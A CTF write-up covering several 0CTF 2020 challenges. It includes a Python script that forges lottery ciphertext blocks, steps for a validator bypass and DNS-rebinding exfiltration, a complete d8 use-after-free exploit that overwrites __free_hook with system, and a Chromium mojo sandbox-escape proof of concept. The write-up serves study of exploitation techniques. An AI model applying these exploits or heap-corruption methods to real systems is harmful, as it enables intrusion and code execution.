<span class="hljs-keyword">import</span> secrets, json, base64


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">dec</span><span class="hljs-params">(req, enc)</span>:</span>
    r = req.post(<span class="hljs-string">'http://pwnable.org:2333/lottery/info'</span>, data=dict(enc=enc)).json()[<span class="hljs-string">'info'</span>]
    print(r)
    crypts = base64.b64decode(enc.encode())
    crypts = [crypts[i*<span class="hljs-number">16</span>: (i+<span class="hljs-number">1</span>)*<span class="hljs-number">16</span>].hex() <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span>)]
    plains = repr(r).replace(<span class="hljs-string">'{'</span>, <span class="hljs-string">'{ '</span>).replace(<span class="hljs-string">'}'</span>, <span class="hljs-string">' }'</span>)
    plains = [plains[i*<span class="hljs-number">16</span>: (i+<span class="hljs-number">1</span>)*<span class="hljs-number">16</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span>)]
    <span class="hljs-keyword">for</span> plain, crypt <span class="hljs-keyword">in</span> zip(plains, crypts):
        print(<span class="hljs-string">'&gt;&gt;&gt;'</span>, plain, <span class="hljs-string">'|'</span>, crypt, <span class="hljs-string">'&lt;&lt;&lt;'</span>)
    <span class="hljs-keyword">return</span> crypts

<span class="hljs-comment"># create main account</span>
s = requests.session()
name = <span class="hljs-string">'Balsn1002142092'</span><span class="hljs-comment">#secrets.token_urlsafe(16)</span>
data = dict(username=name, password=name)
r = s.post(<span class="hljs-string">'http://pwnable.org:2333/user/register'</span>, data=data).json()
r = s.post(<span class="hljs-string">'http://pwnable.org:2333/user/login'</span>, data=data).json()
print(json.dumps(r, indent=<span class="hljs-number">2</span>))
uid, tok = r[<span class="hljs-string">'user'</span>][<span class="hljs-string">'uuid'</span>], r[<span class="hljs-string">'user'</span>][<span class="hljs-string">'api_token'</span>]
print(uid, tok)

enc = s.post(<span class="hljs-string">'http://pwnable.org:2333/lottery/buy'</span>, data=dict(api_token=tok)).json()[<span class="hljs-string">'enc'</span>]
crypts = dec(s, enc)
<span class="hljs-string">'''
we only need block 3' - 7'
main 
0' { 'lottery': '19 | d5b3a52053c345b1f6581f62af2cc374
1' 7e66b8-c0d5-4f05 | bdd3e814eaf73146bb0dbe98a9d61508
2' -962f-c18e2c7d82 | 7dcecb8a3ccd69b0c5a578f3fa6ba7fd
3' ef', 'user': '32 | c6802e48a5597c58a876d86be98bb6e5
4' edaac1-c828-4b41 | b22150f5c3204374f0a03a1906430cc1
5' -9da0-6d32cfa7c5 | 1e14e0ce6e77c2c1aa2482a02e439e96
6' a6', 'coin': 5 } | 08fa0515a89e650da6e5ad932497af4e
7'                  | f6d2b7dade603f007022388485ecc598

dummy
we only need block 0' - 3'
main 
0 { 'lottery': '66 | 80d2d4f735ad8344475d0fb6d0001a73
1 801483-93d0-42e8 | 77823dbb161e2e4c3143da08e3eb87e4
2 -b867-8dc2d54dcf | 9a84b5f07896a60246c74e31263eeb1c
3 18', 'user': 'ef | 4ea572ddf1709c16a017e50e9ccf60ae
4 e21533-603f-47fe | 957865140c8014d09a16be6fb9651719
5 -8e37-8667fc86ed | 675ffd20ab06ac7917f26fa0eb089571
6 43', 'coin': 9 } | fb9a264302e0741b78d177f67fe0c4d0
7                  | f6d2b7dade603f007022388485ecc598
'''</span>
coin = <span class="hljs-number">20</span>
<span class="hljs-keyword">while</span> coin &lt;= <span class="hljs-number">99</span>:
    n = requests.session()
    n_name = name + secrets.token_urlsafe(<span class="hljs-number">8</span>)
    n_data = dict(username=n_name, password=n_name)
    r = n.post(<span class="hljs-string">'http://pwnable.org:2333/user/register'</span>, data=n_data).json()
    r = n.post(<span class="hljs-string">'http://pwnable.org:2333/user/login'</span>, data=n_data).json()
    print(json.dumps(r, indent=<span class="hljs-number">2</span>))
    n_uid, n_tok = r[<span class="hljs-string">'user'</span>][<span class="hljs-string">'uuid'</span>], r[<span class="hljs-string">'user'</span>][<span class="hljs-string">'api_token'</span>]
    print(n_uid, n_tok)
    n_enc = n.post(<span class="hljs-string">'http://pwnable.org:2333/lottery/buy'</span>, data=dict(api_token=n_tok)).json()[<span class="hljs-string">'enc'</span>]
    n_crypts = dec(n, n_enc)
    new_crypts = n_crypts[:<span class="hljs-number">4</span>] + crypts[<span class="hljs-number">3</span>:]
    new_enc = base64.b64encode(bytes.fromhex(<span class="hljs-string">''</span>.join(new_crypts))).decode()
    print(<span class="hljs-string">'=======new block============'</span>)
    dec(s, new_enc)
    print(<span class="hljs-string">'============================'</span>)
    r = s.post(<span class="hljs-string">'http://pwnable.org:2333/lottery/charge'</span>, data=dict(user=uid, enc=new_enc))
    print(<span class="hljs-string">'result'</span>, r.text)
    r = s.post(<span class="hljs-string">'http://pwnable.org:2333/user/login'</span>, data=data).json()
    print(json.dumps(r, indent=<span class="hljs-number">2</span>))
    coin = int(r[<span class="hljs-string">'user'</span>][<span class="hljs-string">'coin'</span>])

<span class="hljs-comment"># flag{f1d6356a-4288-4a13-a28a-78da73328493}</span></code></pre><p>Flag: <code>flag{f1d6356a-4288-4a13-a28a-78da73328493}</code></p>
<h3 id="amp-2020-(not-solved)"><a class="header-link" href="#amp-2020-(not-solved)"></a>AMP 2020 (not solved)</h3>
<p>The author&#39;s full writeup is <a href="https://github.com/zsxsoft/my-ctf-challenges/tree/master/0ctf2020/amp2020">here</a>. </p>
<p>Written by <a href="twitter.com/bookgin_tw">bookgin</a>. My approach was a little bit different though I didn&#39;t solve this in the end.</p>
<ol class="list">
<li>Bypass AMP validator using ambiguous HTML comment <code>&lt;!--&gt; &lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;url=http://example.com/&quot; /&gt;</code>. <code>&lt;noscript&gt;</code> should also works.</li>
<li>Bypass axios private IP check using <a href="https://en.wikipedia.org/wiki/IPv6#IPv4-mapped_IPv6_addresses">IPv4-mapped IPv6</a>. <code>[0::ffff:172.30.1.3]</code></li>
<li>DNS rebinding to bypass CORS and Same-origin policy to read flag at <code>http://af...:password@[0::ffff:172.30.1.3]:5984/af.../flag</code></li>
</ol>
<p>For the DNS rebinding part, because Chrome disables Basic authentication in URL, we need to use <code>fetch</code> API to add the <code>Authorization</code> header (thus limited by CORS). By leveraging DNS rebinding we can achieve this and exfiltrate the flag out.</p>
<p>However, as far as I know, because the database IP <code>172.30.1.3</code> is in the subnet of webserver <code>172.30.1.2/24</code>, that means Chrome (my version is Chromium 83.0.4103.106) will always resolve to this IP first, which prevent <a href="https://github.com/nccgroup/singularity">multiple-answers</a> DNS rebinding from working. Round robin DNS rebinding requires more time (&gt; 30s ?) to launch. In this challenge the admin only stays for at most 10 seconds.</p>
<p>One exception is that if the db server TCP port is suddenly closed, <a href="https://bookgin.tw/2019/01/05/abusing-dns-browser-based-port-scanning-and-dns-rebinding/">the default failover</a> will resolve to the other IP address. Then we can just shutdown our server to make it connect it back to exfiltrate the flag. But <a href="https://twitter.com/zsxsoft/status/1277445996834721796">@adm1nkyj1</a> solved this challenge using DNS rebinding. It&#39;s very impressive.</p>
<p>I think I have to dig more about the failver mechanism. Maybe it&#39;s somehow related to DNS cache?</p>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<h3 id="chromium-rce"><a class="header-link" href="#chromium-rce"></a>Chromium RCE</h3>
<p>Given a patched d8 binary and a diff file, the goal of this challenge is to pwn the d8 binary ( the developer shell of V8 ) . </p>
<h4 id="vulnerability"><a class="header-link" href="#vulnerability"></a>Vulnerability</h4>
<p>We first analyze the diff file ( some lines are omitted for the sake of readability ):</p>
<pre class="hljs"><code>diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
<span class="hljs-comment">--- a/src/builtins/typed-array-set.tq</span>
<span class="hljs-comment">+++ b/src/builtins/typed-array-set.tq</span>
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
     // 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
     // 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
     //   exception.
<span class="hljs-deletion">-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;</span>
<span class="hljs-addition">+    const utarget = %RawDownCast&lt;AttachedJSTypedArray&gt;(target);</span>

     const overloadedArg = arguments[0];
     try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
       // 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
       // 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
       //   exception.
<span class="hljs-deletion">-      const utypedArray =</span>
<span class="hljs-deletion">-          typed_array::EnsureAttached(typedArray) otherwise IsDetached;</span>
<span class="hljs-addition">+      const utypedArray = %RawDownCast&lt;AttachedJSTypedArray&gt;(typedArray);</span>

       TypedArrayPrototypeSetTypedArray(
           utarget, utypedArray, targetOffset, targetOffsetOverflowed)
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 117df1cc52..9c6ca7275d 100644
<span class="hljs-comment">--- a/src/d8/d8.cc</span>
<span class="hljs-comment">+++ b/src/d8/d8.cc</span>
@@ -1339,9 +1339,9 @@ MaybeLocal&lt;Context&gt; Shell::CreateRealm(
     }
     delete[] old_realms;
   }

.........( omitted ).................

diff --git a/src/parsing/parser-base.h b/src/parsing/parser-base.h
index 3519599a88..f1ba0fb445 100644
<span class="hljs-comment">--- a/src/parsing/parser-base.h</span>
<span class="hljs-comment">+++ b/src/parsing/parser-base.h</span>
@@ -1907,10 +1907,8 @@ ParserBase&lt;Impl&gt;::ParsePrimaryExpression() {
       return ParseTemplateLiteral(impl()-&gt;NullExpression(), beg_pos, false);

     case Token::MOD:
<span class="hljs-deletion">-      if (flags().allow_natives_syntax() || extension_ != nullptr) {</span>
<span class="hljs-deletion">-        return ParseV8Intrinsic();</span>
<span class="hljs-deletion">-      }</span>
<span class="hljs-deletion">-      break;</span>
<span class="hljs-addition">+      // Directly call %ArrayBufferDetach without `--allow-native-syntax` flag</span>
<span class="hljs-addition">+      return ParseV8Intrinsic();</span>

     default:
       break;
diff --git a/src/parsing/parser.cc b/src/parsing/parser.cc
index 9577b37397..2206d250d7 100644
<span class="hljs-comment">--- a/src/parsing/parser.cc</span>
<span class="hljs-comment">+++ b/src/parsing/parser.cc</span>
@@ -357,6 +357,11 @@ Expression* Parser::NewV8Intrinsic(const AstRawString* name,
   const Runtime::Function* function =
       Runtime::FunctionForName(name-&gt;raw_data(), name-&gt;length());

<span class="hljs-addition">+  // Only %ArrayBufferDetach allowed</span>
<span class="hljs-addition">+  if (function-&gt;function_id != Runtime::kArrayBufferDetach) {</span>
<span class="hljs-addition">+    return factory()-&gt;NewUndefinedLiteral(kNoSourcePosition);</span>
<span class="hljs-addition">+  }</span>
<span class="hljs-addition">+</span>
   // Be more permissive when fuzzing. Intrinsics are not supported.
   if (FLAG_fuzzing) {
     return NewV8RuntimeFunctionForFuzzing(function, args, pos);</code></pre><p>To summarize what this patch does:</p>
<ul class="list">
<li>The patch allow us to call <code>%ArrayBufferDetach</code> in d8, which will <a href="https://tc39.es/ecma262/#sec-isdetachedbuffer">detach an ArrayBuffer</a>.</li>
<li>During <code>TypedArray.prototype.set()</code>, instead of ensuring the dst/src typed array being an attached typed array, the patched version of this function will always treat those typed array as an attached typed array -- which obviously isn&#39;t true since we can use <code>%ArrayBufferDetach</code> to detached a typed array&#39;s buffer.</li>
</ul>
<p>Detaching an ArrayBuffer will cause d8 to free this buffer. If we later call <code>TypedArray.prototype.set()</code> on this buffer, <strong>we&#39;ll be able to trigger an UAF vulnerability</strong>. Here&#39;s a PoC that will crashes the program:</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">pwn</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> buffer = <span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">8</span>);
    <span class="hljs-keyword">const</span> buffer2 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">8</span>);
    <span class="hljs-keyword">const</span> uint8 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(buffer);
    <span class="hljs-keyword">const</span> uint82 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(buffer2);

    <span class="hljs-comment">// Copy the values into the array starting at index 3</span>
    uint82.set([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>], <span class="hljs-number">3</span>); 
    uint8.set([<span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>], <span class="hljs-number">3</span>); 
    <span class="hljs-built_in">console</span>.log(uint8);

    %ArrayBufferDetach(buffer); <span class="hljs-comment">// free buffer</span>
    uint8.set(uint82,<span class="hljs-number">0</span>); <span class="hljs-comment">// copy uint82's content to uint8</span>

    <span class="hljs-built_in">console</span>.log(uint8); <span class="hljs-comment">// crash</span>
}

pwn();</code></pre><p>The reason why the program crash is because after freeing the buffer, <code>uint8</code>&#39;s ArrayBuffer was freed and the chunk was putted into tcache 0x20. <code>uint8.set(uint82,0);</code> will then overwrite ( corrupting ) tcache 0x20&#39;s fd pointer. Finally <code>console.log(uint8);</code> will tried to allocate chunk from tcache 0x20, crashing the program.</p>
<h4 id="exploitation"><a class="header-link" href="#exploitation"></a>Exploitation</h4>
<p>For address leaking, we found that by freeing a size 0x500 ArrayBuffer, we&#39;ll be able to get both heap and libc address:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> buffer = <span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">0x500</span>);
<span class="hljs-keyword">const</span> buffer2 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">0x500</span>);
<span class="hljs-keyword">const</span> uint8 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(buffer);
<span class="hljs-keyword">const</span> uint82 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(buffer2);
<span class="hljs-keyword">const</span> float64 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Float64Array</span>(buffer2);
%ArrayBufferDetach(buffer); <span class="hljs-comment">//free</span>
uint82.set(uint8,<span class="hljs-number">0</span>); <span class="hljs-comment">// copy uint8 to uint82</span>
<span class="hljs-comment">// float64 uses the same buffer as uint82 (buffer2)</span>
heap =  ftoi(float64[<span class="hljs-number">0</span>]);
libc = ftoi(float64[<span class="hljs-number">1</span>]) - <span class="hljs-number">0x3ebca0</span>n;
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Heap: 0x"</span>+ heap.toString(<span class="hljs-number">16</span>));
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Libc: 0x"</span>+libc.toString(<span class="hljs-number">16</span>));</code></pre><p>As for hijacking the control flow, we chose to use the fastbin attack and overwrite <code>__free_hook</code> to system, then achieve RCE by freeing an arbitrary string buffer. The whole process can be summarized into the following steps:</p>
<ul class="list">
<li>Use UAF to corrupt tcache 0x40&#39;s fd pointer, overwrite it into <code>__free_hook-0x30</code> ( near <code>__free_hook</code> ).</li>
<li>Allocate some 0x40 chunk to let <code>0x7f</code> be written in front of <code>__free_hook</code> ( faking heap meta data for fastbin 0x70 ).</li>
<li>Launch fastbin attack. First overwrite fastbin 0x70&#39;s fd into our fake chunk ( near <code>__free_hook</code> ), then allocate chunk from fastbin 0x70.</li>
<li>Now we can overwrite <code>__free_hook</code>. Overwrite it to <code>system</code>, create another ArrayBuffer for our command string, then free it with <code>%ArrayBufferDetach</code>.</li>
</ul>
<p>Full exploit code:</p>
<pre class="hljs"><code><span class="hljs-keyword">var</span> buf = <span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">8</span>);
<span class="hljs-keyword">var</span> f64_buf = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Float64Array</span>(buf);
<span class="hljs-keyword">var</span> u64_buf = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint32Array</span>(buf);

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ftoi</span>(<span class="hljs-params">val</span>) </span>{ 
    f64_buf[<span class="hljs-number">0</span>] = val;
    <span class="hljs-keyword">return</span> BigInt(u64_buf[<span class="hljs-number">0</span>]) + (BigInt(u64_buf[<span class="hljs-number">1</span>]) &lt;&lt; <span class="hljs-number">32</span>n); 
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">itof</span>(<span class="hljs-params">val</span>) </span>{ 
    u64_buf[<span class="hljs-number">0</span>] = <span class="hljs-built_in">Number</span>(val &amp; <span class="hljs-number">0xffffffff</span>n);
    u64_buf[<span class="hljs-number">1</span>] = <span class="hljs-built_in">Number</span>(val &gt;&gt; <span class="hljs-number">32</span>n);
    <span class="hljs-keyword">return</span> f64_buf[<span class="hljs-number">0</span>];
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">pwn</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> buffer = <span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">0x500</span>);
    <span class="hljs-keyword">const</span> buffer2 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">0x500</span>);
    <span class="hljs-keyword">const</span> uint8 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(buffer);
    <span class="hljs-keyword">const</span> uint82 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(buffer2);
    <span class="hljs-keyword">const</span> float64 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Float64Array</span>(buffer2);

    <span class="hljs-comment">// Free a chunk and leak heap and libc address</span>
    %ArrayBufferDetach(buffer);
    uint82.set(uint8,<span class="hljs-number">0</span>);
    heap =  ftoi(float64[<span class="hljs-number">0</span>]);
    libc = ftoi(float64[<span class="hljs-number">1</span>]) - <span class="hljs-number">0x3ebca0</span>n;
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Heap: 0x"</span>+ heap.toString(<span class="hljs-number">16</span>));
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Libc: 0x"</span>+libc.toString(<span class="hljs-number">16</span>));

    <span class="hljs-comment">// Poison tcache 0x40's fd to near __free_hook</span>
    <span class="hljs-comment">// Ensure 0x7f is placed before __free_hook for later usage ( fastbin attack )</span>
    <span class="hljs-keyword">const</span> buffer3 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">0x30</span>);
    <span class="hljs-keyword">const</span> uint83 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(buffer3);
    %ArrayBufferDetach(buffer3);
    float64[<span class="hljs-number">0</span>] = itof(libc+<span class="hljs-number">0x3ed8e8</span>n<span class="hljs-number">-0x30</span>n); <span class="hljs-comment">// free_hook - 0x30</span>
    uint83.set(uint82.slice(<span class="hljs-number">0</span>,<span class="hljs-number">8</span>),<span class="hljs-number">0</span>);
    <span class="hljs-keyword">for</span>(<span class="hljs-keyword">let</span> i=<span class="hljs-number">0</span>;i&lt;<span class="hljs-number">20</span>;i++)
        <span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">0x30</span>);

    <span class="hljs-comment">// Fastbin attack </span>
    <span class="hljs-comment">// Get an ArrayBuffer, which its buffer address is near __free_hook</span>
    <span class="hljs-keyword">const</span> buffer4 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">0x8</span>);
    <span class="hljs-keyword">const</span> uint84 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(buffer4);
    float64[<span class="hljs-number">0</span>] = itof(libc+<span class="hljs-number">0x3ed8cd</span>n); <span class="hljs-comment">// overwrite fastbin 0x70's fd</span>
    uint84.set(uint82.slice(<span class="hljs-number">0</span>,<span class="hljs-number">8</span>),<span class="hljs-number">0</span>);
    <span class="hljs-keyword">var</span> X = []

    <span class="hljs-keyword">for</span>(<span class="hljs-keyword">let</span> i=<span class="hljs-number">0</span>;i&lt;<span class="hljs-number">0x10</span>;i++)
        X.push(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(<span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">0x60</span>)));

    <span class="hljs-keyword">for</span>(<span class="hljs-keyword">let</span> i=<span class="hljs-number">0</span>;i&lt;<span class="hljs-number">0x10</span>;i++)
        %ArrayBufferDetach(X[i].buffer);

    X[<span class="hljs-number">0xf</span>].set(uint84,<span class="hljs-number">0</span>);
    <span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">0x60</span>);
    <span class="hljs-keyword">const</span> uint87 = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(<span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">0x60</span>)); <span class="hljs-comment">// get the buffer !</span>

    <span class="hljs-comment">// We now get the ArrayBuffer which its buffer address is near __free_hook</span>
    <span class="hljs-comment">// Overwrite __free_hook to system</span>
    <span class="hljs-keyword">const</span> RIP = libc+<span class="hljs-number">0x4f440</span>n; <span class="hljs-comment">// system</span>
    float64[<span class="hljs-number">0</span>] = itof(RIP);
    <span class="hljs-keyword">for</span>(<span class="hljs-keyword">let</span> i=<span class="hljs-number">0</span>;i&lt;<span class="hljs-number">0x8</span>;i++)
        uint87[i+<span class="hljs-number">0x13</span><span class="hljs-number">-8</span>] = uint82[i];

    <span class="hljs-comment">// Construt the CMD in another ArrayBuffer</span>
    <span class="hljs-keyword">var</span> CMD = <span class="hljs-string">"/readflag"</span>;
    <span class="hljs-keyword">var</span> cmd = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(<span class="hljs-keyword">new</span> <span class="hljs-built_in">ArrayBuffer</span>(<span class="hljs-number">0x80</span>));
    <span class="hljs-keyword">for</span>(<span class="hljs-keyword">let</span> i=<span class="hljs-number">0</span>;i&lt;CMD.length;i++) {
        cmd[i] = CMD.charCodeAt(i);
    }

    <span class="hljs-comment">// Free the ArrayBuffer will call system(CMD);</span>
    %ArrayBufferDetach(cmd.buffer);  
}
pwn();</code></pre><p>flag: <code>flag{dbc68439ba5f2cdbccf459cd3edb54c80b9c89e9}</code></p>
<h3 id="chromium-sbx"><a class="header-link" href="#chromium-sbx"></a>Chromium SBX</h3>
<p>This time we were ask to pwn a patched Chromium binary. The environment settings of this challenge is pretty similar to the <a href="https://ctftime.org/task/11314">mojo challenge</a> in this year&#39;s Plaid CTF. The author added some vulnerable mojo interfaces in Chromium and we&#39;ll have to exploit the vulnerability in order to get the flag of this challenge.</p>
<blockquote>
<p>We&#39;re not familiar with Chrome&#39;s mojo, so lots of concept/terminology might be wrong, but here&#39;s how we solve the challenge:</p>
</blockquote>
<h4 id="vulnerability-1"><a class="header-link" href="#vulnerability-1"></a>Vulnerability</h4>
<p>By looking at the diff file we know that the challenge added two mojo interfaces in the browser:</p>
<pre class="hljs"><code><span class="hljs-keyword">module</span> blink.mojom;

interface <span class="hljs-type">TStorage</span> {
    <span class="hljs-type">Init</span><span class="hljs-literal">()</span> =&gt; <span class="hljs-literal">()</span>;
    <span class="hljs-type">CreateInstance</span><span class="hljs-literal">()</span> =&gt; (pending_remote&lt;blink.mojom.<span class="hljs-type">TInstance</span>&gt; instance);
    <span class="hljs-type">GetLibcAddress</span><span class="hljs-literal">()</span> =&gt; (uint64 addr);
    <span class="hljs-type">GetTextAddress</span><span class="hljs-literal">()</span> =&gt; (uint64 addr);
};

interface <span class="hljs-type">TInstance</span> {
    <span class="hljs-type">Push</span>(uint64 <span class="hljs-keyword">value</span>) =&gt; <span class="hljs-literal">()</span>;
    <span class="hljs-type">Pop</span><span class="hljs-literal">()</span> =&gt; (uint64 <span class="hljs-keyword">value</span>);
    <span class="hljs-type">Set</span>(uint64 index, uint64 <span class="hljs-keyword">value</span>) =&gt; <span class="hljs-literal">()</span>;
    <span class="hljs-type">Get</span>(uint64 index) =&gt; (uint64 <span class="hljs-keyword">value</span>);
    <span class="hljs-type">SetInt</span>(<span class="hljs-built_in">int64</span> <span class="hljs-keyword">value</span>) =&gt; <span class="hljs-literal">()</span>;
    <span class="hljs-type">GetInt</span><span class="hljs-literal">()</span> =&gt; (<span class="hljs-built_in">int64</span> <span class="hljs-keyword">value</span>);
    <span class="hljs-type">SetDouble</span>(double <span class="hljs-keyword">value</span>) =&gt; <span class="hljs-literal">()</span>;
    <span class="hljs-type">GetDouble</span><span class="hljs-literal">()</span> =&gt; (double <span class="hljs-keyword">value</span>);
    <span class="hljs-type">GetTotalSize</span><span class="hljs-literal">()</span> =&gt; (<span class="hljs-built_in">int64</span> size);
};</code></pre><ul class="list">
<li><code>TInstance</code> is an mojo interface which allow us to perform some operations including:<ul class="list">
<li>Push / Pop a <code>uint64</code> value to a queue</li>
<li>Get/Set a <code>uint64</code> value in an inlined array</li>
<li>Get/Set a <code>uint64</code>/<code>double</code> value</li>
<li>Get the total size of the queue and inlined array.<ul class="list">
<li><strong>This is done by calling a virtual method ( important )</strong></li>
</ul>
</li>
</ul>
</li>
<li><code>TStorage</code> in another mojo interface, which contains two friendly functions: <code>GetLibcAddress()</code> and <code>GetTextAddress()</code>, making us able to leak the libc &amp; text address directly. Also it holds an instance of a <code>TInstance</code> interface.</li>
</ul>
<p>By using the following javascript snippet we&#39;re able to interact with the mojo interface:</p>
<pre class="hljs"><code><span class="hljs-comment">// include the mojo js binding first</span>

<span class="hljs-comment">// Create TStorage</span>
tsptr = <span class="hljs-keyword">new</span> blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tsptr).handle);
<span class="hljs-keyword">await</span> tsptr.init();

<span class="hljs-comment">// Create TInstance</span>
tiptr = (<span class="hljs-keyword">await</span> tsptr.createInstance()).instance;

<span class="hljs-comment">// Operations</span>
<span class="hljs-keyword">await</span> tiptr.push(<span class="hljs-number">0</span>); <span class="hljs-comment">// push</span>
<span class="hljs-keyword">let</span> v = (<span class="hljs-keyword">await</span> tiptr.pop()).value; <span class="hljs-comment">// pop</span>
<span class="hljs-keyword">let</span> sz = (<span class="hljs-keyword">await</span> tiptr.getTotalSize()).size; <span class="hljs-comment">// getTotalSize</span></code></pre><p>We then spent some time playing around with  interfaces / code reviewing the diff file...etc. At last we notice something at line 324:</p>
<pre class="hljs"><code><span class="hljs-selector-tag">void</span> <span class="hljs-selector-tag">TStorageImpl</span><span class="hljs-selector-pseudo">::CreateInstance(CreateInstanceCallback</span> <span class="hljs-selector-tag">callback</span>) {
    <span class="hljs-attribute">mojo</span>::PendingRemote&lt;blink::mojom::TInstance&gt; instance;
    <span class="hljs-attribute">mojo</span>::<span class="hljs-built_in">MakeSelfOwnedReceiver</span>(std::make_unique&lt;content::TInstanceImpl&gt;(inner_db_.get()),
                                instance.<span class="hljs-built_in">InitWithNewPipeAndPassReceiver</span>());

    <span class="hljs-attribute">std</span>::<span class="hljs-built_in">move</span>(callback).<span class="hljs-built_in">Run</span>(std::move(instance));
}</code></pre><p>At line 324, it uses <code>innder_db_.get()</code> to pass the <code>InnerDbImpl*</code> pointer into <code>TInstanceImpl</code>&#39;s constructor:</p>
<pre class="hljs"><code>TInstanceImpl::TInstanceImpl(InnerDbImpl* inner_db) : weak_factory_(<span class="hljs-keyword">this</span>) {
    inner_db_ptr_ = inner_db;
}</code></pre><p>According to the reference in <a href="http://www.cplusplus.com/reference/memory/unique_ptr/get/">cplusplus.com</a>:</p>
<blockquote>
<p>Notice that a call to this function does not make unique_ptr release ownership of the pointer (i.e., it is still responsible for deleting the managed data at some point). Therefore, the value returned by this function shall not be used to construct a new managed pointer.</p>
</blockquote>
<p>This means that <code>TStorageImpl-&gt;inner_db_</code> will be equal to <code>TInstanceImpl-&gt;inner_db_ptr_</code>. Since both of the pointer point to the same memory, <strong>freeing one of them will cause another one to become a dangling pointer.</strong> We then test our theory with the following PoC:</p>
<pre class="hljs"><code><span class="hljs-comment">// After we create TStorage and TInstance</span>

<span class="hljs-keyword">await</span> tsptr.ptr.reset(); <span class="hljs-comment">// Free TStorage, this will cause TStorageImpl-&gt;inner_db_ to be freed</span>
<span class="hljs-keyword">await</span> tiptr.getTotalSize(); <span class="hljs-comment">// Chromium will crash</span></code></pre><p>The code above will crash Chromium. This is because <code>tsptr.ptr.reset()</code> will free <code>inner_db_ptr_</code>, and <code>tiptr.getTotalSize()</code> will call <code>inner_db_ptr_-&gt;GetTotalSize();</code> ( a virtual method ). Since <code>inner_db_ptr_</code> is now a dangling pointer, the vtable is now corrupted, causing the program jump to an invalid address, thus crashing the program.</p>
<h4 id="exploitation-1"><a class="header-link" href="#exploitation-1"></a>Exploitation</h4>
<p>Our plan is simple. Since now <code>inner_db_ptr_</code> is a dangling pointer, we&#39;ll tried to reclaim its memory buffer ( e.g. heap spraying ) and overwrite the structure of <code>inner_db_ptr_</code>. If we can control the vtable, we&#39;ll be able to jump to an arbitrary address by calling <code>tiptr.getTotalSize()</code>.</p>
<p>However it&#39;s not easy to reclaim its memory buffer. We&#39;re not familiar with PartitionAlloc so all we did is trial and error: </p>
<ul class="list">
<li>Free lots of chunk</li>
<li>Re-allocate lots of chunk</li>
<li>See if we have successfully reclaim the memory by scanning a string with special pattern, which was sprayed in the heap during the re-allocation phase.</li>
</ul>
